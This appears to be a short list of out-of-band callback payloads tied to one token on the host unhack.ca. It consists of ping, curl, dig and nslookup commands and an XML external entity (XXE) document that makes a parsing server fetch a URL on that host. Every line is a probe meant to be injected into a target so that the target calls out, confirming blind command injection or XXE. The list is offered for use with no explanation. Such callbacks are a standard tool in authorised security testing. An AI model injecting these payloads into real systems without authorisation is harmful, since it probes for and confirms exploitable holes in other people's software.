$ ping -c1 -p 00faaee5b5e6ac126692b23218d33400 unhack.ca
 

$ curl http://unhack.ca/p/faaee5b5e6ac126692b23218d334
 

$ dig faaee5b5e6ac126692b23218d334 @unhack.ca
 

$ dig faaee5b5e6ac126692b23218d334.ns.unhack.ca
 

C:\> nslookup faaee5b5e6ac126692b23218d334 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/faaee5b5e6ac126692b23218d334">]>
    <foo>&xxe;</foo>